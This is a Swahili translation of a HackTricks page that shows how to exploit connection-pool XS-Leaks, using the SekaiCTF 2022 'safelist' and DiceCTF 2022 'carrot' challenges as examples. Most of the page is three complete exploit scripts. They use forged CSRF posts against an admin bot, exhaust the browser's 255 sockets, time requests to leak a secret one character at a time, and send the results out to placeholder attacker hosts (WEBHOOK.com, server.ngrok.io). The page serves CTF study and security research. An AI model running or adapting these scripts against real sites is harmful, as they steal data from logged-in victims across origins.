mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
521 lines
16 KiB
Markdown
521 lines
16 KiB
Markdown
# Mifano ya Pool ya Uunganisho
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
## Sekaictf2022 - safelist
|
|
|
|
Katika changamoto ya [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) anatoa mfano wa jinsi ya kutumia **mabadiliko** ya **tekneka ya Pool ya Uunganisho** kufanya **XS-Leak**.
|
|
|
|
Katika changamoto hii, lengo ni kuiba bendera ambayo itaonekana katika kikao cha wavuti cha bots ndani ya chapisho. Hizi ni mali ambazo mshambuliaji anazo:
|
|
|
|
* **Bot** atatembelea **URL** iliyotolewa na mshambuliaji
|
|
* Mshambuliaji anaweza **kuingiza HTML** kwenye ukurasa (lakini sio JS, dompurify inatumika) kwa kudanganya **CSRF** kufanya **bot kuunda chapisho** na HTML hiyo.
|
|
* Mshambuliaji anaweza kutumia CSRF kufanya **bot** **ifute** **chapisho cha kwanza** ndani ya wavuti.
|
|
* Kwa sababu **machapisho** yamepangwa **kwa herufi**, wakati **chapisho cha kwanza kinafutwa**, ikiwa **yaliyomo ya HTML** ya mshambuliaji ina **jazwa**, inamaanisha kuwa ilikuwa **kabla ya bendera** kwa herufi.
|
|
|
|
Kwa hivyo, ili kuiba bendera, suluhisho lililopendekezwa na @Strellyc\_ ni, **kwa kila herufi ya kujaribu**, kufanya bot:
|
|
|
|
* Unda **chapisho jipya** ambalo **linaanza** na sehemu inayojulikana ya **bendera** na **upakie** picha kadhaa.
|
|
* **Futa** **chapisho** katika nafasi **0**.
|
|
* Zuia soketi 255.
|
|
* Pakia ukurasa na machapisho
|
|
* Fanya ombi 5 la nasibu kwa tovuti (mfano.com katika kesi hii) na pima wakati huu unachukua.
|
|
|
|
{% hint style="warning" %}
|
|
Ikiwa **chapisho kilichofutwa** kilikuwa **bendera**, hii inamaanisha kuwa picha zote zilizoingizwa kwenye HTML zitakuwa **zikipigana** na **ombi 5 la nasibu** kwa soketi hiyo **isiyozuiliwa**. Hii inamaanisha kuwa wakati uliopimwa utakuwa mkubwa kuliko hali nyingine.
|
|
|
|
Ikiwa **chapisho kilichofutwa** kilikuwa **HTML**, **ombi 5 la nasibu** litakuwa **haraka** kwa sababu halihitaji kupigana na HTML iliyoingizwa kwa soketi hiyo.
|
|
{% endhint %}
|
|
|
|
### Kudukua 1
|
|
|
|
Hii ni nambari ya kudukua, iliyochukuliwa kutoka [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
|
|
```html
|
|
<!-- Form to inject HTML code in the bots page -->
|
|
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
|
|
<input type="text" name="text" />
|
|
<input type="submit" />
|
|
</form>
|
|
|
|
<!-- Form to delete the first entry -->
|
|
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
|
|
<input type="text" name="index" value="0" />
|
|
<input type="submit" />
|
|
</form>
|
|
|
|
<script>
|
|
// Attacker listening
|
|
const WEBHOOK = "https://WEBHOOK.com/";
|
|
// Send data to attacker
|
|
const log = (id, data) => {
|
|
let payload = JSON.stringify({ known, alphabet, data });
|
|
console.log(id, payload);
|
|
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
|
|
}
|
|
|
|
// Similar to JQuery
|
|
const $ = document.querySelector.bind(document);
|
|
|
|
// Known part of the flag
|
|
const known = "SEKAI{";
|
|
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
|
|
|
|
// Reduce the alphabet using a hash (#) in the URL
|
|
if (location.hash) {
|
|
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
|
|
}
|
|
|
|
// Funtion to leak chars
|
|
const leak = async (c) => {
|
|
// Prepare post with known flag and the new char
|
|
let payload = `${known + c}`;
|
|
// Inject as many <img as possible
|
|
// you need to respect the CSP and create URLs that are different
|
|
for(let i = 0; payload.length < 2048; i++) {
|
|
payload += `<img src=js/purify.js?${i.toString(36)}>`;
|
|
}
|
|
|
|
// Inject HTML
|
|
$("#create input[type=text]").value = payload;
|
|
$("#create").submit();
|
|
await new Promise(r => setTimeout(r, 1000));
|
|
|
|
// Remove post with index 0
|
|
$("#remove").submit();
|
|
await new Promise(r => setTimeout(r, 500));
|
|
|
|
let deltas = [];
|
|
|
|
// Try each char 3 times
|
|
for (let i = 0; i < 3; i++) {
|
|
const SOCKET_LIMIT = 255;
|
|
// you will need a custom server that works like num.sleepserver.com/sleep/delay
|
|
// needed to freeze the blocked sockets, and they have to all be on different origins
|
|
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
|
|
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
|
|
|
|
const block = async (i, controller) => {
|
|
try {
|
|
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
|
|
}
|
|
catch(err) {}
|
|
};
|
|
|
|
// block SOCKET_LIMIT sockets
|
|
const controller = new AbortController();
|
|
for (let i = 0; i < SOCKET_LIMIT; i++) {
|
|
block(i, controller);
|
|
}
|
|
|
|
// Make the bot access the page with the posts
|
|
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
|
|
await new Promise(r => setTimeout(r, 500));
|
|
|
|
// start meassuring time to perform 5 requests
|
|
let start = performance.now();
|
|
await Promise.all([
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" }),
|
|
fetch("https://example.com", { mode: "no-cors" })
|
|
]);
|
|
let delta = performance.now() - start;
|
|
document.title = delta;
|
|
controller.abort();
|
|
|
|
log("test_" + c + "_" + i, delta);
|
|
|
|
// Save time needed
|
|
deltas.push(delta);
|
|
}
|
|
return deltas;
|
|
};
|
|
|
|
// Check each char
|
|
const pwn = async () => {
|
|
// Try to leak each character
|
|
for(let i = 0; i < alphabet.length; i++) {
|
|
//Check the indicated char
|
|
let deltas = await leak(alphabet[i]);
|
|
|
|
// Calculate mean time from requests to example.com
|
|
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
|
|
|
|
// If greater than 250, the HTML code was injected (flag in index 0)
|
|
if (avg > 250) {
|
|
log("tests_pos_" + alphabet[i], deltas)
|
|
}
|
|
// Flag in the page
|
|
else {
|
|
log("tests_neg_" + alphabet[i], deltas)
|
|
}
|
|
}
|
|
};
|
|
|
|
window.onload = async () => {
|
|
pwn();
|
|
};
|
|
</script>
|
|
```
|
|
### Kuvamia 2
|
|
|
|
Mbinu ile ile lakini namna tofauti ya kificho kutoka [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
|
|
```html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<!--
|
|
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
|
|
If images are loading, the request to "/" is slower, otherwise faster.
|
|
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
|
|
We can use fetch to measure the request time.
|
|
-->
|
|
<body>
|
|
<button onclick="run()">start</button>
|
|
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
|
|
<input id=inp name="text" value="">
|
|
</form>
|
|
|
|
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
|
|
<input id=inp2 name="index" value="">
|
|
</form>
|
|
<script>
|
|
let flag = 'SEKAI{'
|
|
const TARGET = 'https://safelist.ctf.sekai.team'
|
|
f.action = TARGET + '/create'
|
|
f2.action = TARGET + '/remove'
|
|
|
|
const sleep = ms => new Promise(r => setTimeout(r, ms))
|
|
const send = data => fetch('http://server.ngrok.io?d='+data)
|
|
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
|
|
|
|
// start exploit
|
|
let count = 0
|
|
setTimeout(async () => {
|
|
let L = 0
|
|
let R = charset.length - 1
|
|
while( (R-L)>3 ) {
|
|
let M = Math.floor((L + R) / 2)
|
|
let c = charset[M]
|
|
send('try_' + flag + c)
|
|
const found = await testChar(flag + c)
|
|
if (found) {
|
|
L = M
|
|
} else {
|
|
R = M - 1
|
|
}
|
|
}
|
|
|
|
// fallback to linear since I am not familiar with binary search lol
|
|
for(let i=R; i>=L; i--) {
|
|
let c = charset[i]
|
|
send('try_' + flag + c)
|
|
const found = await testChar(flag + c)
|
|
if (found) {
|
|
send('found: '+ flag+c)
|
|
flag += c
|
|
break
|
|
}
|
|
}
|
|
|
|
}, 0)
|
|
|
|
async function testChar(str) {
|
|
return new Promise(resolve => {
|
|
/*
|
|
For 3350, you need to test it on your local to get this number.
|
|
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
|
|
If starts with "A", the image should be loaded because it's in the threshold.
|
|
*/
|
|
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
|
|
f.submit()
|
|
|
|
setTimeout(() => {
|
|
run(str, resolve)
|
|
}, 500)
|
|
})
|
|
}
|
|
|
|
async function run(str, resolve) {
|
|
// if the request is not enough, we can send more by opening more window
|
|
for(let i=1; i<=5;i++) {
|
|
window.open(TARGET)
|
|
}
|
|
|
|
let t = 0
|
|
const round = 30
|
|
setTimeout(async () => {
|
|
for(let i=0; i<round; i++) {
|
|
let s = performance.now()
|
|
await fetch(TARGET + '/?test', {
|
|
mode: 'no-cors'
|
|
}).catch(err=>1)
|
|
let end = performance.now()
|
|
t += end - s
|
|
console.log(end - s)
|
|
}
|
|
const avg = t/round
|
|
send(str + "," + t + "," + "avg:" + avg)
|
|
|
|
/*
|
|
I get this threshold(1000ms) by trying multiple times on remote admin bot
|
|
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
|
|
*/
|
|
const isFound = (t >= 1000)
|
|
if (isFound) {
|
|
inp2.value = "0"
|
|
} else {
|
|
inp2.value = "1"
|
|
}
|
|
|
|
// remember to delete the post to not break our leak oracle
|
|
f2.submit()
|
|
setTimeout(() => {
|
|
resolve(isFound)
|
|
}, 200)
|
|
}, 200)
|
|
}
|
|
|
|
</script>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
```
|
|
## DiceCTF 2022 - carrot
|
|
|
|
Katika kesi hii hatua ya kwanza ya shambulio ilikuwa kutumia CSRF kubadilisha ukurasa ambapo bendera inapatikana ili uwe na **maudhui mengi zaidi** (na kwa hivyo kuchukua muda mrefu kuipakia), na kisha **tumia mfumo wa uhusiano ili kupima muda inachukua kufikia ukurasa** ambao huenda una bendera.
|
|
|
|
Katika shambulio unaweza kuona:
|
|
|
|
* Kutumia CSRF
|
|
* Kuchukua soketi zote isipokuwa 1
|
|
* Kalibisha majibu
|
|
* Anza kuvunja kwa kufikia ukurasa unaoweza kuwa na bendera
|
|
* Ukurasa unaoweza kuwa na bendera utafikiwa na mara moja URL inayodhibitiwa na mshambuliaji pia itafikiwa ili kuangalia muda unaotumiwa na maombi yote mawili.
|
|
```html
|
|
<h1>DiceCTF 2022 web/carrot</h1>
|
|
|
|
<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
|
|
<button onclick="csrf()">do csrf</button>
|
|
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
|
|
|
|
<button onclick="popunder()">open popup</button>
|
|
<button onclick="exhaust_sockets()">open 255 connections</button>
|
|
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
|
|
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
|
|
<br>
|
|
<br>
|
|
<h2 id=output></h2>
|
|
<br>
|
|
<form id=x action="" method="POST" style="display:none;">
|
|
<input type="text" name="title" placeholder="title">
|
|
<br><br>
|
|
<input type="number" name="priority" placeholder="priority" value=9999>
|
|
<br><br>
|
|
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
|
|
<br><br>
|
|
<input type="submit" value="submit">
|
|
</form>
|
|
|
|
<script>
|
|
|
|
// this is send is used as logging
|
|
LOG = 'Starting'
|
|
// 255 in normal chrome, 99 in headless
|
|
SOCKETLIMIT = 255;
|
|
// default
|
|
TIMELIMIT = 800;
|
|
INSTANCE = ''
|
|
MYSERVER = `example.com`
|
|
|
|
const sleep = (ms) => {
|
|
return new Promise(resolve => {
|
|
setTimeout(resolve, ms);
|
|
});
|
|
}
|
|
|
|
const time_fetch = async() => {
|
|
let test_server_url = `https://${MYSERVER}/?${LOG}`;
|
|
let start = window.performance.now();
|
|
try {
|
|
await fetch(test_server_url, {
|
|
mode: 'no-cors'
|
|
});
|
|
} catch (e) {
|
|
console.log(e);
|
|
}
|
|
let end = window.performance.now();
|
|
return end - start;
|
|
}
|
|
|
|
const fetch_sleep_long = (i) => {
|
|
// 40s sleep
|
|
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
|
|
mode: 'no-cors'
|
|
});
|
|
}
|
|
|
|
const fetch_sleep_short = (i) => {
|
|
// 0.25s sleep
|
|
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
|
|
mode: 'no-cors'
|
|
});
|
|
}
|
|
|
|
const block_socket = async (i) => {
|
|
fetch_sleep_long(i);
|
|
// needed?
|
|
await sleep(0);
|
|
}
|
|
|
|
const exhaust_sockets = async() => {
|
|
let i = 0
|
|
for (; i < SOCKETLIMIT; i++) {
|
|
block_socket(i);
|
|
}
|
|
console.log(`Used ${i} connections`);
|
|
}
|
|
|
|
const timeit = async (url, popup) => {
|
|
return new Promise(async (r) => {
|
|
|
|
popup.location = url;
|
|
// needed?
|
|
await sleep(50)
|
|
|
|
let val = await time_fetch()
|
|
r(val)
|
|
});
|
|
}
|
|
|
|
// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
|
|
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
|
|
// const alphabet = 'abcdef}'.split('');
|
|
|
|
const oracle = async (search) => {
|
|
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
|
|
let t = await timeit(url, WINBG)
|
|
|
|
LOG = `${search}:${t}`
|
|
console.log(`${search}:${t}`)
|
|
|
|
return t > TIMELIMIT
|
|
}
|
|
|
|
const brute = async (flag) => {
|
|
for (const char of alphabet) {
|
|
if (await oracle(flag + char)) {
|
|
return char;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
const calibrate = async () => {
|
|
return new Promise(async (r) => {
|
|
// slow
|
|
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
|
|
let t1 = await timeit(url1, WINBG)
|
|
console.log(`slow:${t1}`)
|
|
// fast
|
|
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
|
|
let t2 = await timeit(url2, WINBG)
|
|
console.log(`fast:${t2}`)
|
|
return r((t1 + t2) / 2)
|
|
});
|
|
|
|
}
|
|
|
|
const exploit = async(flag = '') => {
|
|
console.log('Starting')
|
|
// dont go to fast plz :)
|
|
console.log(`waiting 3s`)
|
|
await sleep(3000)
|
|
// exaust sockets
|
|
await exhaust_sockets()
|
|
await sleep(2000)
|
|
LOG = `Calibrating`
|
|
TIMELIMIT = await calibrate()
|
|
LOG = `TIMELIMIT:${TIMELIMIT}`
|
|
console.log(`timelimit:${TIMELIMIT}`)
|
|
await sleep(2000)
|
|
let last;
|
|
while (true) {
|
|
last = await brute(flag);
|
|
if (last === false) {
|
|
return flag;
|
|
}
|
|
else {
|
|
flag += last;
|
|
output.innerText = flag;
|
|
if(last === '}'){
|
|
return flag
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
const popunder = () => {
|
|
if (window.opener) {
|
|
WINBG = window.opener
|
|
}
|
|
else {
|
|
WINBG = window.open(location.href, target="_blank")
|
|
location = `about:blank`
|
|
}
|
|
}
|
|
|
|
const csrf = async () => {
|
|
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
|
|
x.title.value = "A".repeat(1000000)
|
|
x.submit()
|
|
}
|
|
|
|
window.onload = () => {
|
|
let p = new URL(location).searchParams;
|
|
if(!p.has('i')){
|
|
console.log(`no INSTANCE`)
|
|
return
|
|
}
|
|
INSTANCE = p.get('i')
|
|
// step 1
|
|
if(p.has('csrf')){
|
|
csrf()
|
|
return
|
|
}
|
|
// step 2
|
|
if (p.has('exploit')) {
|
|
// window open is ok in headless :)
|
|
popunder()
|
|
|
|
exploit('dice{')
|
|
}
|
|
}
|
|
</script>
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|